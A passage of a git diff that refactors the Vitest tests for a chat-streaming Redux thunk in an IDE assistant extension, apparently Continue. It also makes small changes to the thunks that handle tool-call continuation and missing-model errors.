dispatchedActions.map((action: any) => action.type); @@ -837,7 +663,7 @@ describe("streamResponseThunk", () => { const setContextPercentageAction = dispatchedActions.find( (a: any) => a.type === "session/setContextPercentage", ); - expect(setContextPercentageAction.payload).toBe(0.9); + expect(setContextPercentageAction?.payload).toBe(0.9); const streamUpdates = dispatchedActions.filter( (a: any) => a.type === "session/streamUpdate", @@ -854,7 +680,7 @@ describe("streamResponseThunk", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -869,6 +695,7 @@ describe("streamResponseThunk", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ]); @@ -895,66 +722,59 @@ describe("streamResponseThunk", () => { }); // Verify IDE messenger calls - expect(mockIdeMessengerWithTool.request).toHaveBeenCalledWith( - "llm/compileChat", - { - messages: [ - { - role: "system", - content: "You are a helpful assistant.", - }, - { - role: "user", - content: [ - { - type: "text", - text: "Please search the codebase", - }, - ], - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello, please help me with this code", - }, - ], - }, - ], - options: { - reasoning: false, + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { + messages: [ + { + role: "system", + content: "You are a helpful assistant.", }, - }, - ); + { + role: "user", + content: [ + { + type: "text", + text: "Please search the codebase", + }, + ], + }, + { + role: "user", + content: [ + { + type: "text", + text: "Hello, please help me with this code", + }, + ], + }, + ], + options: { tools: [grepTool] }, + }); - expect(mockIdeMessengerWithTool.request).toHaveBeenCalledWith( - "tools/call", - { - toolCall: { - id: "tool-call-1", - type: "function", - function: { - name: "search_codebase", - arguments: JSON.stringify({ query: "test function" }), - }, + expect(requestSpy).toHaveBeenCalledWith("tools/call", { + toolCall: { + id: "tool-call-1", + type: "function", + function: { + name: grepName, + arguments: JSON.stringify({ query: "test function" }), }, }, - ); + }); // Verify that multiple compilation calls were made (due to tool call continuation) - const compileCallsCount = - mockIdeMessengerWithTool.request.mock.calls.filter( - (call: any) => call[0] === "llm/compileChat", - ).length; - expect(compileCallsCount).toBeGreaterThanOrEqual(1); + expect(requestSpy).toHaveBeenCalledWith( + "llm/compileChat", + expect.any(Object), + ); expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify final state after tool call execution const finalState = mockStoreWithToolSettings.getState(); expect(finalState).toEqual({ + ...stateWithToolSettings, session: { + ...stateWithToolSettings.session, history: [ { contextItems: [], @@ -985,7 +805,7 @@ describe("streamResponseThunk", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -995,6 +815,7 @@ describe("streamResponseThunk", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ], @@ -1005,7 +826,7 @@ describe("streamResponseThunk", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -1020,6 +841,7 @@ describe("streamResponseThunk", () => { hidden: false, }, ], + tool: grepTool, }, ], }, @@ -1044,85 +866,19 @@ describe("streamResponseThunk", () => { { completion: "Search completed.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "continuing after tool", }, ], }, ], - hasReasoningEnabled: false, - isStreaming: false, + title: "Session summary", id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), contextPercentage: 0.9, isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, inlineErrorMessage: undefined, }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: { - search_codebase: "allowedWithoutPermission", - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, }); }); @@ -1130,84 +886,31 @@ describe("streamResponseThunk", () => { // Create an AbortController that we'll abort during streaming const testAbortController = new AbortController(); - // Use setupTest to get proper mock configuration - const { mockStore: baseStore, mockIdeMessenger: baseMessenger } = - setupTest(); - // Create store with our test abort controller, starting from setupTest config - const mockStoreWithAbort = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: testAbortController, // Use our test controller - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + const abortState = getRootStateWithClaude(); + abortState.session.streamAborter = testAbortController; + abortState.session.history = [ + { + message: { id: "1", role: "user", content: "Hello" }, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - + ]; + abortState.session.id = "session-123"; + const mockStoreWithAbort = createMockStore(abortState); const mockIdeMessengerAbort = mockStoreWithAbort.mockIdeMessenger; - - // Setup successful compilation - mockIdeMessengerAbort.request.mockResolvedValue({ - status: "success", - content: { - compiledChatMessages: [{ role: "user", content: "Hello" }], - didPrune: false, - contextPercentage: 0.8, - }, - }); + mockIdeMessengerAbort.responses["llm/compileChat"] = { + compiledChatMessages: [{ role: "user", content: "Hello" }], + didPrune: false, + contextPercentage: 0.8, + }; + const requestSpy = vi.spyOn(mockIdeMessengerAbort, "request"); + const postSpy = vi.spyOn(mockIdeMessengerAbort, "post"); // Setup streaming generator that simulates abort by user interaction - async function* mockStreamGeneratorWithAbort() { + async function* mockStreamGeneratorWithAbort(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "First chunk" }]; // Add a delay to allow the first chunk to be processed @@ -1226,12 +929,14 @@ describe("streamResponseThunk", () => { prompt: "Hello", completion: "Complete response", modelProvider: "anthropic", + modelTitle: "claude", }; } - mockIdeMessengerAbort.llmStreamChat.mockReturnValue( - mockStreamGeneratorWithAbort(), - ); + const mockStreamChat = vi + .fn() + .mockReturnValue(mockStreamGeneratorWithAbort()); + mockIdeMessengerAbort.llmStreamChat = mockStreamChat; // Execute thunk - should be aborted const result = await mockStoreWithAbort.dispatch( @@ -1245,7 +950,7 @@ describe("streamResponseThunk", () => { expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify exact action sequence - should start but then be aborted - const dispatchedActions = (mockStoreWithAbort as any).getActions(); + const dispatchedActions = mockStoreWithAbort.getActions(); expect(dispatchedActions).toEqual([ { type: "chat/streamResponse/pending", @@ -1363,11 +1068,6 @@ describe("streamResponseThunk", () => { type: "session/abortStream", payload: undefined, }, - // Stream end cleanup - { - type: "session/setInactive", - payload: undefined, - }, { type: "chat/streamNormalInput/fulfilled", meta: { @@ -1397,7 +1097,7 @@ describe("streamResponseThunk", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -1409,7 +1109,7 @@ describe("streamResponseThunk", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Session summary", }, }, { @@ -1427,16 +1127,7 @@ describe("streamResponseThunk", () => { }, { type: "session/setAllSessionMetadata", - payload: { - compiledChatMessages: [ - { - content: "Hello", - role: "user", - }, - ], - contextPercentage: 0.8, - didPrune: false, - }, + payload: [], }, { type: "session/refreshMetadata/fulfilled", @@ -1445,16 +1136,7 @@ describe("streamResponseThunk", () => { requestId: expect.any(String), requestStatus: "fulfilled", }, - payload: { - compiledChatMessages: [ - { - content: "Hello", - role: "user", - }, - ], - contextPercentage: 0.8, - didPrune: false, - }, + payload: [], }, { type: "session/update/fulfilled", @@ -1462,7 +1144,7 @@ describe("streamResponseThunk", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -1506,44 +1188,37 @@ describe("streamResponseThunk", () => { ]); // Verify IDE messenger calls - expect(mockIdeMessengerAbort.request).toHaveBeenCalledWith( - "llm/compileChat", - { - messages: [ - { - role: "system", - content: "You are a helpful assistant.", - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello", - }, - ], - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello, please help me with this code", - }, - ], - }, - ], - options: { - reasoning: false, + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { + messages: [ + { + role: "system", + content: "You are a helpful assistant.", }, - }, - ); + { + role: "user", + content: [ + { + type: "text", + text: "Hello", + }, + ], + }, + { + role: "user", + content: [ + { + type: "text", + text: "Hello, please help me with this code", + }, + ], + }, + ], + options: {}, + }); expect(mockIdeMessengerAbort.llmStreamChat).toHaveBeenCalledWith( { - completionOptions: { - reasoning: false, - }, + completionOptions: {}, legacySlashCommandData: undefined, messageOptions: { precompiled: true }, messages: [ @@ -1558,21 +1233,17 @@ describe("streamResponseThunk", () => { ); // Dev data logging should not occur since streaming was stopped early - expect(mockIdeMessengerAbort.post).not.toHaveBeenCalledWith( - "devdata/log", - expect.anything(), - ); + expect(postSpy).not.toHaveBeenCalledWith("devdata/log", expect.anything()); // Verify session save was called despite abort - expect(mockIdeMessengerAbort.request).toHaveBeenCalledWith( - "history/save", - expect.anything(), - ); + expect(requestSpy).toHaveBeenCalledWith("history/save", expect.anything()); // Verify final state - streaming should be stopped, partial content preserved const finalState = mockStoreWithAbort.getState(); expect(finalState).toEqual({ + ...abortState, session: { + ...abortState.session, history: [ { contextItems: [], @@ -1599,86 +1270,12 @@ describe("streamResponseThunk", () => { // No promptLogs because streaming was stopped before completion }, ], - hasReasoningEnabled: false, - isStreaming: false, // False because setInactive was called id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), // New controller after abort contextPercentage: 0.8, - isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: { - compiledChatMessages: [ - { - content: "Hello", - role: "user", - }, - ], - contextPercentage: 0.8, - didPrune: false, - }, - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, + isPruned: false, + title: "Session summary", }, }); }); diff --git a/gui/src/redux/thunks/streamResponse.ts b/gui/src/redux/thunks/streamResponse.ts index a283c5238..b6536731a 100644 --- a/gui/src/redux/thunks/streamResponse.ts +++ b/gui/src/redux/thunks/streamResponse.ts @@ -35,7 +35,6 @@ export const streamResponseThunk = createAsyncThunk< if (!selectedChatModel) { throw new Error("No chat model selected"); } - dispatch( submitEditorAndInitAtIndex({ index: inputIndex, editorState }), ); @@ -45,13 +44,6 @@ export const streamResponseThunk = createAsyncThunk< const defaultContextProviders = state.config.config.experimental?.defaultContext ?? []; - if (!selectedChatModel) { - console.error( - "gatherContext thunk: Cannot gather context, no model selected", - ); - throw new Error("No chat model selected"); - } - // Resolve context providers and construct new history const { selectedContextItems, diff --git a/gui/src/redux/thunks/streamResponseAfterToolCall.ts b/gui/src/redux/thunks/streamResponseAfterToolCall.ts index 892e39619..173d3a1e6 100644 --- a/gui/src/redux/thunks/streamResponseAfterToolCall.ts +++ b/gui/src/redux/thunks/streamResponseAfterToolCall.ts @@ -1,13 +1,13 @@ import { createAsyncThunk, unwrapResult } from "@reduxjs/toolkit"; import { ChatMessage } from "core"; import { renderContextItems } from "core/util/messageContent"; +import { selectCurrentToolCalls } from "../selectors/selectToolCalls"; import { ChatHistoryItemWithMessageId, resetNextCodeBlockToApplyIndex, streamUpdate, } from "../slices/sessionSlice"; import { ThunkApiType } from "../store"; -import { findToolCallById } from "../util"; import { streamNormalInput } from "./streamNormalInput"; import { streamThunkWrapper } from "./streamThunkWrapper"; @@ -15,11 +15,11 @@ import { streamThunkWrapper } from "./streamThunkWrapper"; * Determines if we should continue streaming based on tool call completion status. */ function areAllToolsDoneStreaming( - assistantMessage: ChatHistoryItemWithMessageId | undefined, + assistantMessage: ChatHistoryItemWithMessageId, continueAfterToolRejection: boolean | undefined, ): boolean { // This might occur because of race conditions, if so, the tools are completed - if (!assistantMessage?.toolCallStates) { + if (!assistantMessage.toolCallStates) { return true; } @@ -36,18 +36,17 @@ function areAllToolsDoneStreaming( export const streamResponseAfterToolCall = createAsyncThunk< void, - { toolCallId: string }, + { toolCallId: string; depth?: number }, ThunkApiType >( "chat/streamAfterToolCall", - async ({ toolCallId }, { dispatch, getState }) => { + async ({ toolCallId, depth = 0 }, { dispatch, getState }) => { await dispatch( streamThunkWrapper(async () => { const state = getState(); - - const toolCallState = findToolCallById( - state.session.history, - toolCallId, + const currentToolCalls = selectCurrentToolCalls(state); + const toolCallState = currentToolCalls.find( + (tc) => tc.toolCallId === toolCallId, ); if (!toolCallState) { @@ -57,7 +56,6 @@ export const streamResponseAfterToolCall = createAsyncThunk< const toolOutput = toolCallState.output ?? []; dispatch(resetNextCodeBlockToApplyIndex()); - // await new Promise((resolve) => setTimeout(resolve, 0)); // Create and dispatch the tool message const newMessage: ChatMessage = { @@ -69,19 +67,20 @@ export const streamResponseAfterToolCall = createAsyncThunk< // Check if we should continue streaming based on tool call completion const history = getState().session.history; - const assistantMessage = history.find( + const assistantMessage = history.findLast( (item) => item.message.role === "assistant" && item.toolCallStates?.some((tc) => tc.toolCallId === toolCallId), ); if ( + assistantMessage && areAllToolsDoneStreaming( assistantMessage, state.config.config.ui?.continueAfterToolRejection, ) ) { - unwrapResult(await dispatch(streamNormalInput({}))); + unwrapResult(await dispatch(streamNormalInput({ depth: depth + 1 }))); } }), ); diff --git a/gui/src/redux/thunks/streamResponse_errorHandling.test.ts b/gui/src/redux/thunks/streamResponse_errorHandling.test.ts index c8fbb3262..563145381 100644 --- a/gui/src/redux/thunks/streamResponse_errorHandling.test.ts +++ b/gui/src/redux/thunks/streamResponse_errorHandling.test.ts @@ -1,7 +1,7 @@ import { JSONContent } from "@tiptap/core"; import { InputModifiers } from "core"; import { describe, expect, it, vi } from "vitest"; -import { createMockStore } from "../../util/test/mockStore"; +import { createMockStore, getEmptyRootState } from "../../util/test/mockStore"; import { streamResponseThunk } from "./streamResponse"; // Mock external dependencies only - let selectors run naturally @@ -36,23 +36,17 @@ vi.mock( }), ); -import { ModelDescription } from "core"; +import { unwrapResult } from "@reduxjs/toolkit"; import posthog from "posthog-js"; import { resolveEditorContent } from "../../components/mainInput/TipTapEditor/utils/resolveEditorContent"; +import { MockIdeMessenger } from "../../context/MockIdeMessenger"; +import { getRootStateWithClaude } from "./streamResponse.test"; const mockGetBaseSystemMessage = vi.mocked(getBaseSystemMessage); const mockPosthog = vi.mocked(posthog); const mockResolveEditorContent = vi.mocked(resolveEditorContent); -const mockClaudeModel: ModelDescription = { - title: "Claude 3.5 Sonnet", - model: "claude-3-5-sonnet-20241022", - provider: "anthropic", - underlyingProviderName: "anthropic", - completionOptions: { reasoningBudgetTokens: 2048 }, -}; - // Mock editor state (what user types in the input) const mockEditorState: JSONContent = { type: "doc", @@ -70,12 +64,8 @@ const mockModifiers: InputModifiers = { noContext: false, }; -function setupTest() { +beforeEach(() => { vi.clearAllMocks(); - - // Default mock implementations for external functions - - // Default mock for resolveEditorContent (can be overridden in individual tests) mockResolveEditorContent.mockResolvedValue({ selectedContextItems: [], selectedCode: [], @@ -85,133 +75,25 @@ function setupTest() { // Mock getBaseSystemMessage to return simple system message for readable tests mockGetBaseSystemMessage.mockReturnValue("You are a helpful assistant."); - - // Create store with realistic state that selectors can work with - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - - const mockIdeMessenger = mockStore.mockIdeMessenger; - - return { mockStore, mockIdeMessenger }; -} +}); describe("streamResponseThunk", () => { it("should throw error when no chat model is selected", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); + const noModelState = getEmptyRootState(); + noModelState.session.history = [ + { + message: { id: "1", role: "user", content: "Hello" }, + contextItems: [], + }, + ]; // Create store with no selected chat model - const mockStoreNoModel = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: null, // No model selected - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: {}, - } as any, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); + const mockStoreNoModel = createMockStore(noModelState); + const requestSpy = vi.spyOn(mockStoreNoModel.mockIdeMessenger, "request"); + const chatSpy = vi.spyOn( + mockStoreNoModel.mockIdeMessenger, + "llmStreamChat", + ); // Execute thunk and expect it to be rejected const result = await mockStoreNoModel.dispatch( @@ -225,7 +107,7 @@ describe("streamResponseThunk", () => { expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify the complete error handling flow - const dispatchedActions = (mockStoreNoModel as any).getActions(); + const dispatchedActions = mockStoreNoModel.getActions(); expect(dispatchedActions).toEqual([ { type: "chat/streamResponse/pending", @@ -316,68 +198,22 @@ describe("streamResponseThunk", () => { ]); // Verify no IDE messenger calls were made - expect(mockStoreNoModel.mockIdeMessenger.request).not.toHaveBeenCalled(); - expect( - mockStoreNoModel.mockIdeMessenger.llmStreamChat, - ).not.toHaveBeenCalled(); + expect(requestSpy).not.toHaveBeenCalled(); + expect(chatSpy).not.toHaveBeenCalled(); // Verify final state shows error dialog and inactive streaming const finalState = mockStoreNoModel.getState(); expect(finalState).toEqual({ + ...noModelState, session: { - history: [ - { - contextItems: [], - isGatheringContext: false, - message: { id: "1", role: "user", content: "Hello" }, - }, - ], - hasReasoningEnabled: false, - isStreaming: false, // Set to inactive after error - id: "session-123", - mode: "chat", + ...noModelState.session, streamAborter: expect.any(AbortController), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: null, // No model selected - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: {}, - loading: false, - configError: undefined, + history: [ + { ...noModelState.session.history[0], isGatheringContext: false }, + ], }, ui: { - toolSettings: {}, - ruleSettings: {}, + ...noModelState.ui, showDialog: true, // Error dialog is shown dialogMessage: expect.objectContaining({ props: expect.objectContaining({ @@ -387,37 +223,33 @@ describe("streamResponseThunk", () => { }), }), }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, }); }); it("should handle compilation error - not enough context", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Hello" }, + contextItems: [], + }, + ]; + initialState.session.id = "session-123"; + const mockStore = createMockStore(initialState); + const mockIdeMessenger = mockStore.mockIdeMessenger; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); + const chatSpy = vi.spyOn(mockIdeMessenger, "llmStreamChat"); - // Mock compilation failure with "Not enough context" error - mockIdeMessenger.request.mockResolvedValue({ - status: "error", - error: "Not enough context available for this request", + requestSpy.mockImplementation(async (message, data) => { + if (message === "llm/compileChat") { + return { + done: true, + status: "error", + error: "Not enough context available for this request", + }; + } else { + return await new MockIdeMessenger().request(message, data); + } }); // Execute thunk @@ -427,12 +259,13 @@ describe("streamResponseThunk", () => { modifiers: mockModifiers, }) as any, ); + unwrapResult(result); // Verify thunk completed successfully (doesn't throw, handles error gracefully) expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify exact action sequence for this error path - const dispatchedActions = (mockStore as any).getActions(); + const dispatchedActions = mockStore.getActions(); expect(dispatchedActions).toEqual([ { type: "chat/streamResponse/pending", @@ -561,7 +394,7 @@ describe("streamResponseThunk", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Hello", workspaceDirectory: "", }), requestId: expect.any(String), @@ -573,7 +406,7 @@ describe("streamResponseThunk", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Hello", }, }, { @@ -586,21 +419,21 @@ describe("streamResponseThunk", () => { payload: undefined, }, { - type: "session/refreshMetadata/rejected", + type: "session/setIsSessionMetadataLoading", + payload: false, + }, + { + type: "session/setAllSessionMetadata", + payload: [], + }, + { + type: "session/refreshMetadata/fulfilled", meta: { - aborted: false, - arg: {}, - condition: false, - rejectedWithValue: false, + arg: expect.objectContaining({}), requestId: expect.any(String), - requestStatus: "rejected", - }, - payload: undefined, - error: { - message: "Not enough context available for this request", - name: "Error", - stack: expect.any(String), + requestStatus: expect.any(String), }, + payload: [], }, { type: "session/update/fulfilled", @@ -608,7 +441,7 @@ describe("streamResponseThunk", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Hello", workspaceDirectory: "", }), requestId: expect.any(String), @@ -652,7 +485,7 @@ describe("streamResponseThunk", () => { ]); // Verify IDE messenger was called for compilation but not streaming - expect(mockIdeMessenger.request).toHaveBeenCalledWith("llm/compileChat", { + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { messages: [ { role: "system", @@ -677,16 +510,17 @@ describe("streamResponseThunk", () => { ], }, ], - options: { - reasoning: false, - }, + options: {}, }); - expect(mockIdeMessenger.llmStreamChat).not.toHaveBeenCalled(); + expect(chatSpy).not.toHaveBeenCalled(); // Verify final state shows error condition const finalState = mockStore.getState(); expect(finalState).toEqual({ + ...initialState, session: { + ...initialState.session, + title: "Hello", history: [ { contextItems: [], @@ -729,88 +563,36 @@ describe("streamResponseThunk", () => { }, }, ], - hasReasoningEnabled: false, - isStreaming: false, // Should be inactive due to error - id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), - contextPercentage: 0, // Unchanged - no successful compilation - isPruned: false, // Unchanged - no successful compilation - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, inlineErrorMessage: "out-of-context", // Error message set }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - }, }); }); it("should throw error for other compilation errors", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Hello" }, + contextItems: [], + }, + ]; + const mockStore = createMockStore(initialState); + const mockIdeMessenger = mockStore.mockIdeMessenger; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); + const chatSpy = vi.spyOn(mockIdeMessenger, "llmStreamChat"); // Mock compilation failure with generic error - mockIdeMessenger.request.mockResolvedValue({ - status: "error", - error: "Model configuration is invalid", + requestSpy.mockImplementation(async (message, data) => { + if (message === "llm/compileChat") { + return { + done: true, + status: "error", + error: "Model configuration is invalid", + }; + } else { + return await mockIdeMessenger.request(message, data); + } }); // Execute thunk and expect it to be rejected @@ -825,7 +607,7 @@ describe("streamResponseThunk", () => { expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify exact action sequence for compilation error with dialog - const dispatchedActions = (mockStore as any).getActions(); + const dispatchedActions = mockStore.getActions(); expect(dispatchedActions).toEqual([ { type: "chat/streamResponse/pending", @@ -1004,7 +786,7 @@ describe("streamResponseThunk", () => { ]); // Verify IDE messenger was called for compilation but not streaming - expect(mockIdeMessenger.request).toHaveBeenCalledWith("llm/compileChat", { + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { messages: [ { role: "system", @@ -1029,71 +811,21 @@ describe("streamResponseThunk", () => { ], }, ], - options: { - reasoning: false, - }, + options: {}, }); - expect(mockIdeMessenger.llmStreamChat).not.toHaveBeenCalled(); + expect(chatSpy).not.toHaveBeenCalled(); // Verify final state shows error dialog and inactive streaming const finalState = mockStore.getState(); expect(finalState).toEqual({ + ...initialState, session: { - history: [ - { - contextItems: [], - message: { id: "1", role: "user", content: "Hello" }, - }, - ], - hasReasoningEnabled: false, - isStreaming: false, // Set to inactive after error - id: "session-123", - mode: "chat", + ...initialState.session, streamAborter: expect.any(AbortController), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, mainEditorContentTrigger: mockEditorState, // Editor content that triggered the request }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, ui: { - toolSettings: {}, - ruleSettings: {}, + ...initialState.ui, showDialog: true, // Error dialog is shown dialogMessage: expect.objectContaining({ props: expect.objectContaining({ @@ -1103,27 +835,6 @@ describe("streamResponseThunk", () => { }), }), }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - 